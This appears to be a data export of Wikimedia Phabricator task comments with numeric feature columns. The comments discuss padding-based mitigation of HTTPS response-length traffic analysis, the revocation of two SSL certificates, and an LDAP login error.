Do we support TLS 1.3 yet? I'm apparently connecting over 1.2 still.

{F29750833}

QUOTE

For openssl, I believe this is possible with URL
"
761117,Investigate our mitigation strategy for HTTPS response length attacks,"
My current thinking on this is that it's best to wait on TLSv1.3's padding mechanism to be available.  It's in the current draft at: https://tools.ietf.org/html/draft-ietf-tls-tls13-18#section-5.4

Note that TLSv1.3 doesn't include anything about bucketing or randomization strategies, it simply provides a mechanism for padding to be injected at the TLS layer, to be controlled by logic that's outside of the TLS spec's scope.  At that point we'll probably still need to look at the TLS library and/or server and possibly patch them (currently OpenSSL+nginx, but could change by then).

Another angle to consider on all of this is the effect of HTTP/2 mixing concurrent streams before TLS record splitting.  This doesn't defeat analysis, but could make it more-difficult and add on to the net effectiveness of the TLS record padding.  This would especially be true if we ever merge our text and upload frontend IPs in T116132 .",,,1479219989,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gtozsuz2f75mxny3ybyw,task_subcomment,,True,c3,3,True,,,71,True,0.5,0.5,0.0,1.0,1.0,5.0,2.0,0.0,0.0,0.5,1.0,1.5,0.0,0.0,0.0,2.0,0.0,6.5,15.5,0.5,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,1.0,0.5,6.0,1.5,2.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,1.0,0.5,1.0,0.0,0.5,0.5,13.5,2.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,4.5,3.0,10.0,1.5,4.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,15.5,5.5,0.0,0.0,0.0,5.0,0.0,0.5,0.5,0.5,0.5,0.5,0.5,0.0,4.119318181818182,0.7329545454545454,"
My current thinking on this is that it's best to wait on TLSv1.3's padding mechanism to be available.  It's in the current draft at: URL

Note that TLSv1.3 doesn't include anything about bucketing or randomization strategies, it simply provides a mechanism for padding to be injected at the TLS layer, to be controlled by logic that's outside of the TLS spec's scope.  At that point we'll probably still need to look at the TLS library and/or server and possibly patch them (currently OpenSSL+nginx, but could change by then).

Another angle to consider on all of this is the effect of HTTP/2 mixing concurrent streams before TLS record splitting.  This doesn't defeat analysis, but could make it more-difficult and add on to the net effectiveness of the TLS record padding.  This would especially be true if we ever merge our text and upload frontend IPs in T116132 ."
706045,Investigate our mitigation strategy for HTTPS response length attacks,Related: https://tom.vg/papers/heist_blackhat2016.pdf,,,1470342453,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-gtozsuz2f75mxny3ybyw,task_subcomment,,True,c3,3,True,,,57,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,Related: URL
479660,Investigate our mitigation strategy for HTTPS response length attacks,"(Moved to Security-General, because its publicly visible and not related to MediaWiki core)",,,1435038206,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-gtozsuz2f75mxny3ybyw,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,17.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.388888888888889,0.9444444444444444,"(Moved to Security-General, because its publicly visible and not related to MediaWiki core)"
426163,Investigate our mitigation strategy for HTTPS response length attacks,"In the IETF's TLS working group, we're [[ https://github.com/tlswg/tls13-spec/pull/147 | aiming to add a padding mechanism at the TLS layer ]], so that should give you a place to do the padding that won't be interfered with by gzip (or whatever other HTTP weirdness pops up) at the application layer.

If we can get consensus on that in the next few weeks (which i expect we'll be able to do), i'll try to also write it up as an extension for TLS 1.0 through 1.2.

This provides mechanism, but no explicit policy; we need to think about the policy as well, so i'm glad this discussion is happening.

tstarling wrote:

> I don't think dumps would be useful for precomputation, since the attacker needs to know the exact size of the HTML, not the wikitext. It would be easier to crawl, and that would work against all sites, not just Wikipedia.

an attacker doing this kind of work can use the dumps to generate the HTML text offline to get the pagesize to a pretty reasonable degree of accuracy, without tipping their hand that they're doing so by operating a crawler.

So I do think that the fact that dumps are available is relevant to this attack on user privacy.

I agree with tstarling that generic randomized padding is unlikely to be an effective approach on its own, and with faidon that bucket-based padding with random placement might be a useful strategy.

This is a concrete attack.  See, for example [[ http://arxiv.org/abs/1403.0297 | I Know Why You Went to the Clinic: Risks and Realization of HTTPS Traffic Analysis ]]  But the attack is a statistical one.  Adding padding may not make all content completely opaque, but it broadens the anonymity set substantially (especially for less-illustrated articles).",,,1426276016,,PHID-USER-mhutswjmvjlcslq7kz4c,False,,,PHID-TASK-gtozsuz2f75mxny3ybyw,task_subcomment,,True,c3,1,False,,,-16,True,0.5,0.0,0.25,0.25,0.5,5.25,2.25,0.0,0.0,0.25,1.0,1.5,0.0,0.0,0.0,2.5,0.0,4.0,10.75,0.0,2.0,0.25,0.25,0.0,0.25,0.0,0.0,0.0,1.25,0.5,0.5,4.5,1.5,0.75,1.25,0.5,0.0,0.25,0.25,0.25,0.25,0.5,0.0,1.75,0.25,1.0,0.5,0.25,0.25,12.75,0.75,1.5,0.0,0.25,0.25,0.25,0.0,0.0,0.25,0.0,1.0,0.5,0.25,0.75,0.0,0.25,0.25,6.25,2.75,8.75,1.75,1.75,9.25,0.0,0.0,0.0,0.0,4.75,0.0,0.75,0.0,4.5,10.75,2.75,0.0,0.0,0.0,4.5,0.0,1.0,2.75,0.0,2.25,0.25,0.0,0.5,3.849192474192474,0.7799700299700301,"In the IETF's TLS working group, we're [[ URL | aiming to add a padding mechanism at the TLS layer ]], so that should give you a place to do the padding that won't be interfered with by gzip (or whatever other HTTP weirdness pops up) at the application layer.

If we can get consensus on that in the next few weeks (which i expect we'll be able to do), i'll try to also write it up as an extension for TLS 1.0 through 1.2.

This provides mechanism, but no explicit policy; we need to think about the policy as well, so i'm glad this discussion is happening.

tstarling wrote:

QUOTE

an attacker doing this kind of work can use the dumps to generate the HTML text offline to get the pagesize to a pretty reasonable degree of accuracy, without tipping their hand that they're doing so by operating a crawler.

So I do think that the fact that dumps are available is relevant to this attack on user privacy.

I agree with tstarling that generic randomized padding is unlikely to be an effective approach on its own, and with faidon that bucket-based padding with random placement might be a useful strategy.

This is a concrete attack.  See, for example [[ URL | I Know Why You Went to the Clinic: Risks and Realization of HTTPS Traffic Analysis ]]  But the attack is a statistical one.  Adding padding may not make all content completely opaque, but it broadens the anonymity set substantially (especially for less-illustrated articles)."
424285,Investigate our mitigation strategy for HTTPS response length attacks,"> a) all public and explorable via dumps, making it easier for the attacker to experiment and precompute,

I don't think dumps would be useful for precomputation, since the attacker needs to know the exact size of the HTML, not the wikitext. It would be easier to crawl, and that would work against all sites, not just Wikipedia.

> b) text, assets, images are split into separate IPs and hence different TLS sessions, which both removes a randomized factor and creates even more unique combinations of traffic patterns.

Transmission of every object is preceded by a request, seen by the attacker as an encrypted flow in the reverse direction. So you can tell the size of every object, even if it is in the same TLS session as other objects. Images are requested in the order they appear on the page. 

Say if you pad every object out to the next power of 2, a 25% overhead on average. Then the number of bits you leak is roughly some measure of the variation in base 2 logarithm of size, multiplied by the number of objects. For example, on https://en.wikipedia.org/wiki/Tiananmen_Square_protests_of_1989 , there are 28 images, and the standard deviation of the base 2 logarithm of the sizes of those images is 2.23, so that implies we are leaking about 62 bits of length information about that request, not including HTML size. By that metric, you would have to pad objects out to the next power of 16 to provide reasonable obfuscation.

Padding with a random number of bytes is not much better in terms of information leakage than padding to an exact size class. Unless you added a similar amount of padding (16x), you would be able to determine the article being viewed with high confidence. A feasible algorithm would be to calculate a distance metric between the observed object sizes and the object sizes of each known Wikipedia article. For example, take the object sizes into a 100-dimensional vector, with zeroes representing empty image slots, and find the minimum dot product (x-y).(x-y). It will give the right answer for well-illustrated articles unless the padding is enormous.

So I don't think HTTPS+HTML is the right protocol to provide this sort of privacy guarantee. Maybe it is possible with SPDY.",,,1426037428,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-gtozsuz2f75mxny3ybyw,task_subcomment,,True,c3,1,True,,,-17,True,1.75,0.0,0.0,0.75,1.5,6.5,2.25,0.0,0.0,1.0,1.75,0.5,0.0,0.0,0.25,0.75,0.25,4.25,15.75,0.0,1.75,0.0,0.5,0.5,0.25,0.0,0.0,0.0,0.25,1.75,0.5,4.5,2.5,1.0,3.0,1.5,0.25,0.0,0.0,1.25,0.0,0.25,0.0,2.0,0.25,1.25,0.0,0.0,0.0,19.5,0.5,1.0,0.0,0.25,0.5,0.0,0.0,0.0,0.75,0.0,0.0,0.5,0.0,0.75,0.0,0.0,0.0,8.75,4.0,6.75,1.5,1.0,11.75,0.0,0.0,0.0,0.0,5.0,0.0,2.5,0.0,3.5,15.75,2.75,0.0,0.0,0.0,3.5,0.0,0.0,2.25,0.0,1.0,0.5,0.0,0.0,4.0142289518900345,0.6841172680412371,"QUOTE

I don't think dumps would be useful for precomputation, since the attacker needs to know the exact size of the HTML, not the wikitext. It would be easier to crawl, and that would work against all sites, not just Wikipedia.

QUOTE

Transmission of every object is preceded by a request, seen by the attacker as an encrypted flow in the reverse direction. So you can tell the size of every object, even if it is in the same TLS session as other objects. Images are requested in the order they appear on the page. 

Say if you pad every object out to the next power of 2, a 25% overhead on average. Then the number of bits you leak is roughly some measure of the variation in base 2 logarithm of size, multiplied by the number of objects. For example, on URL , there are 28 images, and the standard deviation of the base 2 logarithm of the sizes of those images is 2.23, so that implies we are leaking about 62 bits of length information about that request, not including HTML size. By that metric, you would have to pad objects out to the next power of 16 to provide reasonable obfuscation.

Padding with a random number of bytes is not much better in terms of information leakage than padding to an exact size class. Unless you added a similar amount of padding (16x), you would be able to determine the article being viewed with high confidence. A feasible algorithm would be to calculate a distance metric between the observed object sizes and the object sizes of each known Wikipedia article. For example, take the object sizes into a 100-dimensional vector, with zeroes representing empty image slots, and find the minimum dot product (x-y).(x-y). It will give the right answer for well-illustrated articles unless the padding is enormous.

So I don't think HTTPS+HTML is the right protocol to provide this sort of privacy guarantee. Maybe it is possible with SPDY."
424284,Investigate our mitigation strategy for HTTPS response length attacks,"> a) all public and explorable via dumps, making it easier for the attacker to experiment and precompute,

I don't think dumps would be useful for precomputation, since the attacker needs to know the exact size of the HTML, not the wikitext. It would be easier to crawl, and that would work against all sites, not just Wikipedia.

> b) text, assets, images are split into separate IPs and hence different TLS sessions, which both removes a randomized factor and creates even more unique combinations of traffic patterns.

Transmission of every object is preceded by a request, seen by the attacker as an encrypted flow in the reverse direction. So you can tell the size of every object, even if it is in the same TLS session as other objects. Images are requested in the order they appear on the page. 

Say if you pad every object out to the next power of 2, a 25% overhead on average. Then the number of bits you leak is roughly some measure of the variation in base 2 logarithm of size, multiplied by the number of objects. For example, on https://en.wikipedia.org/wiki/Tiananmen_Square_protests_of_1989 , there are 28 images, and the standard deviation of the base 2 logarithm of the sizes of those images is 2.23, so that implies we are leaking about 62 bits of length information about that request, not including HTML size. By that metric, you would have to pad objects out to the next power of 16 to provide reasonable obfuscation.

Padding with a random number of bytes is not much better in terms of information leakage than padding to an exact size class. Unless you added a similar amount of padding (16x), you would be able to determine the article being viewed with high confidence. A feasible algorithm would be to calculate a distance metric between the observed object sizes and the object sizes of each known Wikipedia article. For example, take the object sizes into a 100-dimensional vector, with zeroes representing empty image slots, and find the minimum dot product. It will give the right answer for well-illustrated articles unless the padding is enormous.

So I don't think HTTPS+HTML is the right protocol to provide this sort of privacy guarantee. Maybe it is possible with SPDY.",,,1426037169,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-gtozsuz2f75mxny3ybyw,task_subcomment,,True,c3,1,True,,,-17,True,1.75,0.0,0.0,0.75,1.5,6.75,2.25,0.0,0.0,1.0,1.75,0.5,0.0,0.0,0.25,0.75,0.25,4.25,16.0,0.0,1.75,0.0,0.5,0.5,0.25,0.0,0.0,0.0,0.25,1.75,0.5,4.5,2.5,1.0,3.0,1.5,0.25,0.0,0.0,1.25,0.0,0.25,0.0,2.0,0.25,1.25,0.0,0.0,0.0,19.5,0.5,1.0,0.0,0.25,0.5,0.0,0.0,0.0,0.75,0.0,0.0,0.5,0.0,0.75,0.0,0.0,0.0,9.0,4.0,7.0,1.5,1.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,2.5,0.0,3.5,16.0,1.75,0.0,0.0,0.0,3.5,0.0,0.0,2.25,0.0,1.0,0.5,0.0,0.0,4.059154535274356,0.6861422172452407,"QUOTE

I don't think dumps would be useful for precomputation, since the attacker needs to know the exact size of the HTML, not the wikitext. It would be easier to crawl, and that would work against all sites, not just Wikipedia.

QUOTE

Transmission of every object is preceded by a request, seen by the attacker as an encrypted flow in the reverse direction. So you can tell the size of every object, even if it is in the same TLS session as other objects. Images are requested in the order they appear on the page. 

Say if you pad every object out to the next power of 2, a 25% overhead on average. Then the number of bits you leak is roughly some measure of the variation in base 2 logarithm of size, multiplied by the number of objects. For example, on URL , there are 28 images, and the standard deviation of the base 2 logarithm of the sizes of those images is 2.23, so that implies we are leaking about 62 bits of length information about that request, not including HTML size. By that metric, you would have to pad objects out to the next power of 16 to provide reasonable obfuscation.

Padding with a random number of bytes is not much better in terms of information leakage than padding to an exact size class. Unless you added a similar amount of padding (16x), you would be able to determine the article being viewed with high confidence. A feasible algorithm would be to calculate a distance metric between the observed object sizes and the object sizes of each known Wikipedia article. For example, take the object sizes into a 100-dimensional vector, with zeroes representing empty image slots, and find the minimum dot product. It will give the right answer for well-illustrated articles unless the padding is enormous.

So I don't think HTTPS+HTML is the right protocol to provide this sort of privacy guarantee. Maybe it is possible with SPDY."
92044,revoke / delete metrics.wikimedia.org SSL cert,"this is a ticket to revoke the SSL cert:

metrics.wikimedia.org

[ ] - revoke with the CA / vendor
[x] -delete cert from public repo
[x] - delete the matching .key from private repo
[x] - rm/shred cert and key on servers it is installed on

(once RobH commented on https://gerrit.wikimedia.org/r/#/c/164001/

""anytime we delete a certificate, please make an independent core-ops ticket to invalidate the certificate on the provider level, and assign said ticket to me."") 

 so this is intended to include that and the other steps, i will strike out what i have done. ",Medium,50.0,1425943417,1426105013.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-obwjvkkb32xuz2qaohtn,task_description,resolved,True,c3,1,True,False,True,-17,True,0.0,0.0,0.0,1.5,0.0,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,2.5,8.0,0.0,2.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,1.0,0.0,3.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,14.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.5,0.0,2.0,8.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,4.0,8.0,2.5,0.0,1.5,0.0,4.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,5.0,3.5798519301956637,0.6998942358540454,"this is a ticket to revoke the SSL cert:

metrics.wikimedia.org

[ ] - revoke with the CA / vendor
[x] -delete cert from public repo
[x] - delete the matching .key from private repo
[x] - rm/shred cert and key on servers it is installed on

(once RobH commented on URL

""anytime we delete a certificate, please make an independent core-ops ticket to invalidate the certificate on the provider level, and assign said ticket to me."") 

 so this is intended to include that and the other steps, i will strike out what i have done. "
424770,revoke / delete metrics.wikimedia.org SSL cert,"confirmed revocation of cert with rapidssl, resolving.",,,1426105013,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-obwjvkkb32xuz2qaohtn,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.333333333333333,1.0,"confirmed revocation of cert with rapidssl, resolving."
424648,revoke / delete metrics.wikimedia.org SSL cert,"I've gone ahead and removed the public cert and private key from the repos and merged, as well as shredding the files on stat1001 (where they used to reside.)",,,1426095222,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-obwjvkkb32xuz2qaohtn,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,12.0,12.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,3.0,9.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,12.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.823529411764706,0.8529411764705882,"I've gone ahead and removed the public cert and private key from the repos and merged, as well as shredding the files on stat1001 (where they used to reside.)"
424642,revoke / delete metrics.wikimedia.org SSL cert,"Change 195304 merged by RobH:
delete metrics.wikimedia.org SSL cert

[[https://gerrit.wikimedia.org/r/195304]]",,,1426094963,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-obwjvkkb32xuz2qaohtn,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.470588235294118,0.8823529411764706,"Change 195304 merged by RobH:
delete metrics.wikimedia.org SSL cert

[[GERRIT_URL]]"
423517,revoke / delete metrics.wikimedia.org SSL cert,"Change 195304 had a related patch set uploaded (by Dzahn):
delete metrics.wikimedia.org SSL cert

[[https://gerrit.wikimedia.org/r/195304]]
",,,1425943729,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-obwjvkkb32xuz2qaohtn,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.208333333333333,0.875,"Change 195304 had a related patch set uploaded (by Dzahn):
delete metrics.wikimedia.org SSL cert

[[GERRIT_URL]]
"
92043,delete / revoke stats.wikimedia.org SSL cert,"this is a ticket to revoke the SSL cert:

stats.wikimedia.org

[ ] - revoke with the CA / vendor
[x] - delete cert from public repo
[x] - delete the matching .key from private repo
[x] - rm/shred cert and key on servers it is installed on

(once RobH commented on https://gerrit.wikimedia.org/r/#/c/164001/

""anytime we delete a certificate, please make an independent core-ops ticket to invalidate the certificate on the provider level, and assign said ticket to me."") 

 so this is intended to include that and the other steps, i will strike out what i have done. ",Medium,50.0,1425943249,1426104904.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-fgtrjqhmdvt3rcjppthz,task_description,resolved,True,c3,1,True,False,True,-17,True,0.0,0.0,0.0,1.5,0.0,3.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.5,8.0,0.0,2.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,1.0,0.0,3.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,14.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.5,0.0,2.0,8.0,0.0,0.0,0.0,0.0,4.5,1.0,0.0,0.0,3.5,8.0,2.5,0.0,1.5,0.0,3.5,0.0,1.0,2.0,1.0,0.0,0.0,0.0,4.5,3.532258064516129,0.685483870967742,"this is a ticket to revoke the SSL cert:

stats.wikimedia.org

[ ] - revoke with the CA / vendor
[x] - delete cert from public repo
[x] - delete the matching .key from private repo
[x] - rm/shred cert and key on servers it is installed on

(once RobH commented on URL

""anytime we delete a certificate, please make an independent core-ops ticket to invalidate the certificate on the provider level, and assign said ticket to me."") 

 so this is intended to include that and the other steps, i will strike out what i have done. "
424769,delete / revoke stats.wikimedia.org SSL cert,"revocation via rapidssl complete, resolving",,,1426104904,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-fgtrjqhmdvt3rcjppthz,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,6.5,1.0,"revocation via rapidssl complete, resolving"
424766,delete / revoke stats.wikimedia.org SSL cert,"I merged @dzahn's patchset and also removed the key from the private repo, then shredded them off stat1001.  in process of revoking the cert with rapidssl.",,,1426104782,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-fgtrjqhmdvt3rcjppthz,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,17.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,17.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,4.5,0.9,"I mergedSCREEN_NAME's patchset and also removed the key from the private repo, then shredded them off stat1001.  in process of revoking the cert with rapidssl."
424762,delete / revoke stats.wikimedia.org SSL cert,"Change 195309 merged by RobH:
delete stats.wikimedia.org SSL cert

[[https://gerrit.wikimedia.org/r/195309]]",,,1426104451,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fgtrjqhmdvt3rcjppthz,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.352941176470588,0.8823529411764706,"Change 195309 merged by RobH:
delete stats.wikimedia.org SSL cert

[[GERRIT_URL]]"
423516,delete / revoke stats.wikimedia.org SSL cert,"Change 195309 had a related patch set uploaded (by Dzahn):
delete stats.wikimedia.org SSL cert

[[https://gerrit.wikimedia.org/r/195309]]
",,,1425943698,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fgtrjqhmdvt3rcjppthz,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.125,0.875,"Change 195309 had a related patch set uploaded (by Dzahn):
delete stats.wikimedia.org SSL cert

[[GERRIT_URL]]
"
91960,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,"```
Request: POST http://phabricator.wikimedia.org/auth/login/ldap:self/, from 10.64.0.172 via cp1044 cp1044 ([10.64.0.172]:80), Varnish XID 1060355216
Forwarded for: [my IP], 10.64.0.172
Error: 503, Service Unavailable at Mon, 09 Mar 2015 11:45:02 GMT
```

Was getting this last week as well (didn't try again until today). Login via OAuth works. ",Medium,50.0,1425901779,1427128359.0,PHID-USER-n6a5asuonlcdc2xmndl2,False,PHID-USER-3neel27i7dyu62jbbx2l,False,PHID-TASK-37526gijx2kdkznqvmcm,task_description,declined,True,c3,1,False,False,True,-17,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.111111111111111,0.8518518518518519,"``CODE``

